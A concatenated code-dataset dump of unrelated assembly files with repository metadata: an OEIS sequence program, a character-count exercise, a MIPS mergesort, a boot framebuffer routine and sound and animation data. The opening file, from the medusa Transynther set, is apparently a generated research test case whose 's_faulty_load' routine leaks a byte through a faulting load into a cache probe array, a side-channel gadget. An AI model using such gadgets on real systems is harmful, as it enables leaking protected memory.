] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_zr_/i3-7100_9_0xca_notsx.log_21829_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_zr_/i3-7100_9_0xca_notsx.log_21829_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x17b91, %r15
add $47257, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%r15)
nop
nop
nop
nop
nop
cmp $55970, %r12
lea addresses_UC_ht+0x19b07, %rsi
lea addresses_WT_ht+0x16549, %rdi
clflush (%rdi)
nop
nop
and %r9, %r9
mov $34, %rcx
rep movsb
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x12909, %rdi
nop
nop
nop
nop
xor $59812, %rax
and $0xffffffffffffffc0, %rdi
vmovntdqa (%rdi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rsi
nop
nop
nop
nop
inc %r9
lea addresses_normal_ht+0x15109, %rax
xor $5247, %r12
movl $0x61626364, (%rax)
nop
nop
sub $44557, %r9
lea addresses_WT_ht+0x1c509, %r12
nop
nop
nop
nop
and %r9, %r9
mov (%r12), %si
nop
and %rcx, %rcx
lea addresses_D_ht+0x79a1, %rax
nop
nop
nop
nop
nop
xor %r12, %r12
movw $0x6162, (%rax)
nop
nop
nop
cmp $63066, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rax
push %rdi
push %rdx
push %rsi
// Store
mov $0xf09, %r14
nop
xor $38184, %r15
movb $0x51, (%r14)
nop
nop
nop
nop
nop
and $18254, %r14
// Load
mov $0x5639900000000a89, %rax
nop
nop
nop
nop
sub %rdi, %rdi
movb (%rax), %dl
cmp %rax, %rax
// Store
lea addresses_RW+0xb771, %rdx
inc %rsi
movl $0x51525354, (%rdx)
nop
nop
nop
and %r8, %r8
// Load
lea addresses_US+0xe689, %rsi
nop
inc %r8
movb (%rsi), %dl
nop
nop
nop
xor %rax, %rax
// Load
lea addresses_WC+0xf909, %r14
nop
cmp $12460, %rax
mov (%r14), %di
nop
nop
nop
nop
nop
inc %r14
// Store
lea addresses_US+0x13ec9, %r15
inc %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
movups %xmm5, (%r15)
nop
nop
nop
nop
sub %rdi, %rdi
// Store
mov $0xe49, %rax
nop
nop
nop
add %r15, %r15
movl $0x51525354, (%rax)
nop
nop
nop
nop
nop
sub $41645, %rdx
// Store
lea addresses_D+0x11df9, %rax
nop
nop
nop
sub $22542, %r15
mov $0x5152535455565758, %r8
movq %r8, (%rax)
nop
nop
nop
nop
sub %r14, %r14
// Store
lea addresses_normal+0x179e9, %rax
nop
nop
nop
nop
cmp %r14, %r14
movb $0x51, (%rax)
nop
nop
and %rax, %rax
// Faulty Load
mov $0x6899db0000000509, %rax
nop
nop
nop
nop
and $33546, %r8
movups (%rax), %xmm5
vpextrq $1, %xmm5, %rdi
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_P', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'src': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'00': 11727, '49': 10102}
49 00 00 00 00 00 00 49 00 00 00 00 00 49 00 49 00 49 00 00 00 49 49 49 00 00 00 49 00 49 00 00 00 00 49 49 00 00 49 00 00 00 00 49 49 00 49 00 00 00 00 00 00 00 49 00 49 49 00 49 00 00 49 00 49 00 49 49 49 49 49 00 00 00 49 49 00 49 00 00 00 49 00 00 00 00 49 49 49 49 49 00 00 00 00 49 00 00 49 00 00 49 49 00 00 00 00 00 00 00 49 00 00 49 00 00 00 49 00 49 00 49 49 00 00 49 00 00 49 49 00 00 00 49 00 49 49 00 00 49 00 00 49 00 00 00 00 49 00 00 49 49 49 49 49 00 49 49 00 00 00 49 00 49 00 49 00 00 49 49 49 00 49 00 00 49 00 49 00 49 00 00 00 00 00 49 49 00 49 49 00 49 00 49 00 49 00 49 00 49 00 49 49 49 00 49 00 49 00 00 49 00 49 00 49 00 00 49 00 49 00 49 49 49 00 49 49 00 00 00 00 00 49 49 00 00 49 00 49 00 49 00 49 00 49 49 00 00 00 49 00 00 49 49 00 49 49 00 49 49 00 49 00 49 00 49 00 00 00 00 49 00 49 49 49 00 49 00 49 00 00 00 00 49 00 00 49 49 00 00 00 49 00 00 49 00 49 00 49 00 49 00 00 49 00 49 00 49 49 49 00 00 49 00 49 00 49 00 00 49 00 00 49 00 49 00 49 00 00 00 00 49 49 00 00 49 00 00 49 00 00 49 00 00 49 00 49 49 00 00 00 49 00 00 49 49 00 49 49 00 00 49 49 00 49 00 00 00 49 00 49 49 00 49 49 00 49 49 00 00 49 49 00 49 00 00 00 49 49 00 00 00 49 00 00 49 00 00 49 00 00 00 49 00 49 49 00 00 49 00 49 00 00 49 00 49 00 49 49 49 49 49 00 49 49 00 49 00 49 49 00 49 00 00 49 49 00 00 49 49 00 00 49 00 49 00 49 49 00 49 00 49 00 49 00 49 49 00 49 00 00 49 49 00 00 49 00 00 00 49 49 00 49 00 00 49 00 49 00 49 49 00 00 49 49 00 49 00 00 00 49 00 00 49 00 00 00 00 00 49 00 49 49 00 49 49 00 00 49 00 00 49 00 00 49 00 49 00 00 00 49 49 00 49 49 00 49 00 00 49 49 00 00 00 49 00 49 00 49 00 49 00 49 00 49 00 49 49 00 00 49 49 49 00 49 49 00 49 00 49 49 00 00 00 49 00 49 00 49 49 00 49 00 49 49 49 00 49 00 49 00 49 00 00 49 00 00 00 49 49 49 00 00 49 00 49 00 49 00 49 00 00 00 00 49 00 00 49 00 00 49 00 49 00 00 00 00 00 00 49 00 49 49 00 00 49 00 49 00 49 49 49 49 49 00 00 49 49 49 49 00 49 00 49 00 49 00 00 00 49 00 49 49 00 49 00 00 49 49 00 49 00 49 00 49 00 49 49 00 49 49 00 00 00 49 00 00 49 00 00 49 00 49 00 49 00 00 00 49 00 00 49 49 49 00 49 00 49 00 00 49 00 00 49 49 49 00 00 49 00 49 00 49 00 00 49 49 00 49 00 49 00 00 49 00 49 49 00 00 49 00 49 00 49 00 00 00 00 49 00 00 49 00 49 00 00 49 00 49 49 00 49 00 00 00 49 49 49 00 00 00 00 00 49 00 49 49 49 00 49 49 49 00 49 00 00 00 49 49 49 49 00 00 00 00 00 49 00 00 00 49 00 00 49 00 49 00 49 00 49 00 00 49 00 49 00 00 00 49 00 49 00 00 00 00 49 00 49 00 00 49 00 49 00 49 00 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 49 00 49 49 00 00 49 00 49 49 00 00 00 49 00 00 00 00 49 00 49 00 49 49 00 49 49 49 00 49 00 00 49 00 49 00 49 00 00 49 00 00 49 00 49 00 49 00 49 49 00 49 00 49 00 00 00 00 49 00 49 49 00 49 00 49 00 49 00 00 49 00 00 00 49 00 00 00 49 00 49 00 49 00 49 00 49 00 49 00 00 49 00 00 00 49 00 00 49 00 49 00 00 00 49 00 49 00 00 00 49 00 49 00 49 00 00 49 00 49 00 00 00 49 00 49 00 00 49 00 49 00 49 00 49 00 00 49 00 49 49 00 49 00 00 00 49 00 00 49 49 00 49 00 49 00 00 00 49
*/
| 31.004065 | 2,999 | 0.649535 |
92be3f0d4d46660e4c4b05d5a6998f5c2ff795ce | 1,290 | asm | Assembly | PROBLEM8.asm | ckrichardson/CS-219 | b0aea9447891330011605ee7c3319fbc1c3ea5b2 | [
"MIT"
] | null | null | null | PROBLEM8.asm | ckrichardson/CS-219 | b0aea9447891330011605ee7c3319fbc1c3ea5b2 | [
"MIT"
] | null | null | null | PROBLEM8.asm | ckrichardson/CS-219 | b0aea9447891330011605ee7c3319fbc1c3ea5b2 | [
"MIT"
] | null | null | null | ; COUNT
; D. Egbert, Clifford Richardson ver 1.0 2/26/2018
;
org 100h
section .text
; beginning address of code = 0x0100
;*******************************************************
;
; put your code here
;
start:
XOR ax, ax ; Initialize Ax to 0
XOR bx, bx ; Initialize Bx to 0
XOR cx, cx ; Initialize Cx to 0
CALC:
MOV al, [STRING + bx] ; Move in char from string
CMP al, 0 ; See if it is the null char
JE FINISH ; If so, exit (end of string)
CMP [KEY], al ; Compare with provided key
JE INCREMENT ; If equal to key
JMP PROCEED ; If not equal to key
PROCEED:
INC bx ; Increment the offset
JMP CALC ; Jump back to CALC
INCREMENT:
INC cx ; Increment counter
INC bx ; Increment the offset
JMP CALC ; Jump back to CALC
FINISH:
MOV [0x154], cx ; Copy result of counter into 0x154
; end of your code
;
;*******************************************************
ILP: JMP ILP ;infinite loop
;
TIMES 50H -($-$$) DB 0
section .data
; beginning address of data = 0x0150
;*******************************************************
;
; put your data items here
KEY: db 0x68, 0, 0, 0
COUNT: db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
STRING: db 0x65, 0x66, 0x67, 0x68, 0x68, 0x68, 0x00
;
; end of your data
;
;******************************************************* | 23.888889 | 58 | 0.53876 |
3524b5104aad1c70333f23403ed50ec5f09325ce | 697 | asm | Assembly | oeis/007/A007618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/007/A007618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/007/A007618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A007618: a(n) = a(n-1) + sum of digits of a(n-1), a(1) = 5.
; Submitted by Jon Maiga
; 5,10,11,13,17,25,32,37,47,58,71,79,95,109,119,130,134,142,149,163,173,184,197,214,221,226,236,247,260,268,284,298,317,328,341,349,365,379,398,418,431,439,455,469,488,508,521,529,545,559,578,598,620,628,644,658,677,697,719,736,752,766,785,805,818,835,851,865,884,904,917,934,950,964,983,1003,1007,1015,1022,1027,1037,1048,1061,1069,1085,1099,1118,1129,1142,1150,1157,1171,1181,1192,1205,1213,1220,1225,1235,1246
mov $2,$0
add $2,4
mov $3,$0
lpb $3
mov $0,$2
sub $2,1
sub $3,1
sub $0,$3
seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n).
add $2,$0
lpe
mov $0,$2
add $0,1
| 38.722222 | 412 | 0.672884 |
f7f977b259531edeef408f0671f81937a90e8533 | 3,192 | asm | Assembly | asmFiles/dual.mergesort.asm | hythzz/MIPS-Processor | deb13e4f640da2fdfd4216c02c68a0947e748625 | [
"MIT"
] | null | null | null | asmFiles/dual.mergesort.asm | hythzz/MIPS-Processor | deb13e4f640da2fdfd4216c02c68a0947e748625 | [
"MIT"
] | null | null | null | asmFiles/dual.mergesort.asm | hythzz/MIPS-Processor | deb13e4f640da2fdfd4216c02c68a0947e748625 | [
"MIT"
] | null | null | null | #Mergesort for benchmarking
#Optimized for 512 bit I$ 1024 bit D$
#Author Adam Hendrickson ahendri@purdue.edu
#CORE 0
org 0x0000
ori $fp, $zero, 0xFFFC
ori $sp, $zero, 0xFFFC
ori $a0, $zero, data
lw $s0, size($zero)
srl $a1, $s0, 1
or $s1, $zero, $a0
or $s2, $zero, $a1
jal insertion_sort
srl $t0, $s0, 1
subu $a1, $s0, $t0
sll $t0, $t0, 2
ori $a0, $zero, data
addu $a0, $a0, $t0
or $s3, $zero, $a0
or $s4, $zero, $a1
or $a0, $zero, $s1
or $a1, $zero, $s2
or $a2, $zero, $s3
or $a3, $zero, $s4
ori $t0, $zero, sorted
push $t0
ori $t1, $zero, flag
wait1:
lw $t2, 0($t1)
beq $t2, $zero, wait1
jal merge
addiu $sp, $sp, 4
halt
#CORE 1
org 0x0200
ori $fp, $zero, 0x3FFC
ori $sp, $zero, 0x3FFC
ori $a0, $zero, data
lw $s0, size($zero)
srl $a1, $s0, 1
sll $t0, $a1, 2
addu $a0, $a0, $t0
subu $a1, $s0, $a1
jal insertion_sort
ori $t0, $zero, flag
ori $t1, $zero, 1
sw $t1, 0($t0)
halt
#void insertion_sort(int* $a0, int $a1)
# $a0 : pointer to data start
# $a1 : size of array
#--------------------------------------
insertion_sort:
ori $t0, $zero, 4
sll $t1, $a1, 2
is_outer:
sltu $at, $t0, $t1
beq $at, $zero, is_end
addu $t9, $a0, $t0
lw $t8, 0($t9)
is_inner:
beq $t9, $a0, is_inner_end
lw $t7, -4($t9)
slt $at, $t8, $t7
beq $at, $zero, is_inner_end
sw $t7, 0($t9)
addiu $t9, $t9, -4
j is_inner
is_inner_end:
sw $t8, 0($t9)
addiu $t0, $t0, 4
j is_outer
is_end:
jr $ra
#--------------------------------------
#void merge(int* $a0, int $a1, int* $a2, int $a3, int* dst)
# $a0 : pointer to list 1
# $a1 : size of list 1
# $a2 : pointer to list 2
# $a3 : size of list 2
# dst [$sp+4] : pointer to merged list location
#--------------------------------------
merge:
lw $t0, 0($sp)
m_1:
bne $a1, $zero, m_3
m_2:
bne $a3, $zero, m_3
j m_end
m_3:
beq $a3, $zero, m_4
beq $a1, $zero, m_5
lw $t1, 0($a0)
lw $t2, 0($a2)
slt $at, $t1, $t2
beq $at, $zero, m_3a
sw $t1, 0($t0)
addiu $t0, $t0, 4
addiu $a0, $a0, 4
addiu $a1, $a1, -1
j m_1
m_3a:
sw $t2, 0($t0)
addiu $t0, $t0, 4
addiu $a2, $a2, 4
addiu $a3, $a3, -1
j m_1
m_4: #left copy
lw $t1, 0($a0)
sw $t1, 0($t0)
addiu $t0, $t0, 4
addiu $a1, $a1, -1
addiu $a0, $a0, 4
beq $a1, $zero, m_end
j m_4
m_5: # right copy
lw $t2, 0($a2)
sw $t2, 0($t0)
addiu $t0, $t0, 4
addiu $a3, $a3, -1
addiu $a2, $a2, 4
beq $a3, $zero, m_end
j m_5
m_end:
jr $ra
#--------------------------------------
org 0x400
flag:
cfw 0
size:
cfw 64
data:
cfw 90
cfw 81
cfw 51
cfw 25
cfw 80
cfw 41
cfw 22
cfw 21
cfw 12
cfw 62
cfw 75
cfw 71
cfw 83
cfw 81
cfw 77
cfw 22
cfw 11
cfw 29
cfw 7
cfw 33
cfw 99
cfw 27
cfw 100
cfw 66
cfw 61
cfw 32
cfw 1
cfw 54
cfw 4
cfw 61
cfw 56
cfw 3
cfw 48
cfw 8
cfw 66
cfw 100
cfw 15
cfw 92
cfw 65
cfw 32
cfw 9
cfw 47
cfw 89
cfw 17
cfw 7
cfw 35
cfw 68
cfw 32
cfw 10
cfw 7
cfw 23
cfw 92
cfw 91
cfw 40
cfw 26
cfw 8
cfw 36
cfw 38
cfw 8
cfw 38
cfw 16
cfw 50
cfw 7
cfw 67
org 0x600
sorted:
| 15.42029 | 59 | 0.52099 |
bd17614add0b5c2b573af29d24cfcac8062e84ab | 643 | asm | Assembly | oeis/168/A168073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/168/A168073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/168/A168073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A168073: Expansion of 1 + 3*(1-x-sqrt(1-2*x-3*x^2))/2.
; Submitted by Jon Maiga
; 1,0,3,3,6,12,27,63,153,381,969,2505,6564,17394,46533,125505,340902,931716,2560401,7070337,19609146,54597852,152556057,427642677,1202289669,3389281245,9578183391,27130207503,77009455428,219023318406,624069834627,1781228354487,5092156413633,14579285029173,41800708040121,120007394328249,344966119572810,992793208409484,2860403862343089,8250050158562973,23818967273235795,68834247138092847,199104599741764491,576413754305525451,1670114429186515812,4842846408482735166,14053436776522260207
seq $0,168055 ; Expansion of 2 - x - sqrt(1-2x-3x^2).
mul $0,6
div $0,4
| 80.375 | 487 | 0.830482 |
0ae058386bfebebcd13ae7e5d2411f0bea03548a | 2,376 | asm | Assembly | framebuffer.asm | Killaship/bootelf | 5a3679702fe91550bac4d32b4384403927d481ae | [
"CC0-1.0"
] | 20 | 2020-11-01T07:55:39.000Z | 2022-03-13T05:05:20.000Z | framebuffer.asm | Killaship/bootelf | 5a3679702fe91550bac4d32b4384403927d481ae | [
"CC0-1.0"
] | 1 | 2022-02-19T12:51:11.000Z | 2022-02-19T12:51:11.000Z | framebuffer.asm | Killaship/bootelf | 5a3679702fe91550bac4d32b4384403927d481ae | [
"CC0-1.0"
] | 3 | 2021-04-07T09:58:05.000Z | 2022-02-19T11:37:48.000Z | ; Use this if we don't get a valid resolution from edid
default_width equ 1024
default_height equ 768
; Use edid instead of just straight up always using the default resolution
; Saves a decent amount of bytes
%define use_edid
; EDID giving a width or height as 0 should be treated as a failure
; Here we can decide if we only check the height to save a few bytes
; Irrelevant if we're not using edid to begin with
%define check_edid_width
; Config end
bootelf_fb equ bootelf + 24
fb_buf equ bootelf + 0x210
bootelf_fb_addr equ bootelf_fb + 0
bootelf_fb_pitch equ bootelf_fb + 8
bootelf_fb_width equ bootelf_fb + 12
bootelf_fb_height equ bootelf_fb + 16
edid_timing_offset equ 54
vesa_attribute_offset equ 0
vesa_pitch_offset equ 16
vesa_width_offset equ 18
vesa_height_offset equ 20
vesa_bpp_offset equ 25
vesa_memory_model_offset equ 27
vesa_framebuffer_offset equ 40
%ifmacro use_edid
mov di, fb_buf
mov ax, 0x4F15
push 1
pop dx
int 0x10
; display width
mov dh, [di + edid_timing_offset + 4]
shr dh, 4
mov dl, [di + edid_timing_offset + 2]
; display height
mov bh, [di + edid_timing_offset + 7]
shr bh, 4
mov bl, [di + edid_timing_offset + 5]
; Check if either height or width is zero, and if so, fallback to a default resolution
%ifmacro check_edid_width
cmp dx, dx
jz getanyvideo
%endif
cmp bx, bx
jnz getvideo
%endif
getanyvideo:
mov dx, default_width
mov bx, default_height
getvideo:
mov [bootelf_fb_width], dx
mov [bootelf_fb_height], bx
; Brute force the video mode for this resolution
mov cx, 0xFFFF
get_video_loop:
inc cx
js done ; Check if we've run out of video modes to test
mov ax, 0x4f01
mov di, fb_buf
int 0x10
; Check if the video mode is the correct one
cmp dx, [di + vesa_width_offset]
jne get_video_loop
cmp bx, [di + vesa_height_offset]
jne get_video_loop
cmp byte [di + vesa_bpp_offset], 32
jne get_video_loop
; Check that it's a linear mode
bt word [di + vesa_attribute_offset], 7
jnc get_video_loop
; Check that it's not text mode
cmp word [di + vesa_memory_model_offset], 0x06
jne get_video_loop
; We got it!
mov bx, [di + vesa_pitch_offset]
mov [bootelf_fb_pitch], bx
mov eax, [di + vesa_framebuffer_offset]
mov [bootelf_fb_addr], eax
; Set the mode
mov bx, cx
bts bx, 14
mov ax, 0x4f02
int 0x10
done:
| 20.66087 | 88 | 0.732744 |
f70432f5b81be9937f827057447664b9ec941e3f | 2,386 | asm | Assembly | programs/oeis/215/A215960.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/215/A215960.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/215/A215960.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A215960: First differences of A016759.
; 2186,75938,745418,3959426,14704202,43261346,108110858,239479298,483533066,907216802,1603736906,2698690178,4356837578,6789523106,10262737802,15105828866,21720853898,30592580258,42299129546,57523267202,77064337226,101850842018,132953667338,171599952386,219187605002,277300461986,347724094538,432462258818,533753991626,654091351202,796237803146,963247251458,1158483714698,1385641647266,1648766905802,1952278360706,2300990152778,2700134594978,3155385719306,3672883468802,4259258534666,4921657838498,5667770659658,6505855407746,7444767040202,8493985125026,9663642548618,10964554868738,12408250312586,14007000420002,15773851331786,17722655723138,19868105382218,22225764433826,24812103208202,27644532754946,30741440002058,34122223560098,37807330171466,41818291804802,46177763394506,50909561225378,56038701962378,61591442325506,67595319409802,74079191650466,81073280433098,88609212349058,96720062095946,105440396023202,114806316322826,124855505865218,135627273680138,147162601082786,159504188445002,172696502611586,186785824961738,201820300115618,217849985286026,234926900275202,253105078116746,272440616362658,292991729015498,314818799105666,337984431913802,362553508838306,388593241907978,416173228939778,445365509341706,476244620560802,508887655176266,543374318637698,579786987648458,618210769194146,658733560216202,701446107930626,746442070791818,793818080101538,843673802262986,896112001680002,951238604301386,1009162761810338,1069996916459018,1133856866548226,1200861832552202,1271134523888546,1344801206333258,1421991770080898,1502839798449866,1587482637232802,1676061464692106,1768721362200578,1865611385527178,1966884636767906,2072698336921802,2183213899112066,2298597002452298,2419017666557858,2544650326702346,2675673909619202,2812271909948426,2954632467328418,3102948444132938,3257417503853186,3418242190125002,3585630006401186,3759793496268938,3940950324412418,4129323358220426,4325140750039202,4528636020070346,4740048139913858,4959621616756298,5187606578204066,5424258857761802,5669840080955906,5924617752103178,6188865341724578,6462862374604106,6746894518492802,7041253673457866,7346238061876898,7662152319077258,7989307584620546,8328021594232202,8678618772376226,9041430325475018
add $0,1
mul $0,2
pow $0,2
mov $1,1
mov $2,2
add $2,$0
pow $2,2
lpb $0
sub $0,1
add $1,$2
add $2,2
lpe
sub $1,157
div $1,12
mul $1,168
add $1,2186
| 119.3 | 2,190 | 0.904862 |
4aaa3bfa43779cd1f50b6a526029ec30cac836ab | 522 | asm | Assembly | audio/sfx/cry23_1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | audio/sfx/cry23_1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | audio/sfx/cry23_1.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | SFX_Cry23_1_Ch1:
dutycycle 240
unknownsfx0x20 15, 247, 192, 7
unknownsfx0x20 6, 228, 193, 7
unknownsfx0x20 10, 246, 192, 7
unknownsfx0x20 4, 211, 194, 7
unknownsfx0x20 8, 193, 192, 7
endchannel
SFX_Cry23_1_Ch2:
dutycycle 95
unknownsfx0x20 15, 151, 129, 7
unknownsfx0x20 6, 132, 128, 7
unknownsfx0x20 10, 150, 129, 7
unknownsfx0x20 15, 131, 129, 7
endchannel
SFX_Cry23_1_Ch3:
unknownnoise0x20 3, 242, 60
unknownnoise0x20 13, 230, 44
unknownnoise0x20 15, 215, 60
unknownnoise0x20 8, 193, 44
endchannel
| 20.076923 | 31 | 0.749042 |
8aa9d857f806d691800789d50a7cf48cc89a7b4b | 108 | asm | Assembly | mark-8-computer/Emulator/testcode.asm | paulscottrobson/assorted-archives | 87ce21ef1556bed441fffbb5c4c3c11c06324385 | [
"MIT"
] | null | null | null | mark-8-computer/Emulator/testcode.asm | paulscottrobson/assorted-archives | 87ce21ef1556bed441fffbb5c4c3c11c06324385 | [
"MIT"
] | null | null | null | mark-8-computer/Emulator/testcode.asm | paulscottrobson/assorted-archives | 87ce21ef1556bed441fffbb5c4c3c11c06324385 | [
"MIT"
] | 1 | 2020-01-02T13:54:19.000Z | 2020-01-02T13:54:19.000Z |
cpu 8008new
org 0
mvi h,0
mov l,h
hlt
in 0
wait:
jmp wait
| 9 | 16 | 0.37963 |
4bf3fe9e761f769b3d34e0201872431393a5db74 | 1,610 | asm | Assembly | programs/oeis/168/A168196.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/168/A168196.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/168/A168196.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A168196: a(n) = n^4*(n^5 + 1)/2.
; 0,1,264,9882,131200,976875,5039496,20178004,67110912,193713525,500005000,1178981166,2579900544,5302263967,10330542600,19221705000,34359771136,59293980009,99179697672,161343914050,256000080000,397140120531,603634726024,900576470652,1320903936000,1907348828125,2714752067976,3812799008214,5289228284032,7253573341575,9841500405000,13219811542096,17592186568704,23205742793937,30358497051400,39407820086250,50779979174016,64980870834619,82608051673992,104364181736100,131072001280000,163690968609861,203335693480584,251296307677822,309060921628800,378340323339375,461095083573256,559565238991224,676302732951552,814206801837625,976562503125000,1167082589927826,1389952945473664,1649881799846307,1952152960408200,2302683296567500,2708084728989696,3175730982970029,3713829375480712,4331497915386150,5038848006480000,5847073053339991,6768543280519944,7816907086303392,9007199263129600,10355956427870625,11881340016387336,13603267208223034,15543550158905472,17726043929121675,20176803512005000,22924250371930356,25999348920551424,29435793368333077,33270205402533000,37542343155468750,42295321939970176,47575847242162239,53434460475149832,59925798010784200,67108864020480000,75047317670022921,83809775227460104,93470127657499362,104107874290358400,115808473167701875,128663708683182216,142772077150159644,158239190944417792,175178201885113725,193710244532805000,213964900099181686,236080681679097984,260205541531646247,286497401153345800,315124704903030000,346266997954707456,380115529371547249,416873881111193352,456758623789850250
mov $1,$0
pow $0,4
pow $1,9
add $0,$1
div $0,2
| 178.888889 | 1,526 | 0.909938 |
0975ed6424c3c6d81998293c51264054d8d739e1 | 2,573 | asm | Assembly | _anim/Sonic.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | 2 | 2020-04-09T19:36:35.000Z | 2021-01-05T14:20:17.000Z | _anim/Sonic.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | null | null | null | _anim/Sonic.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
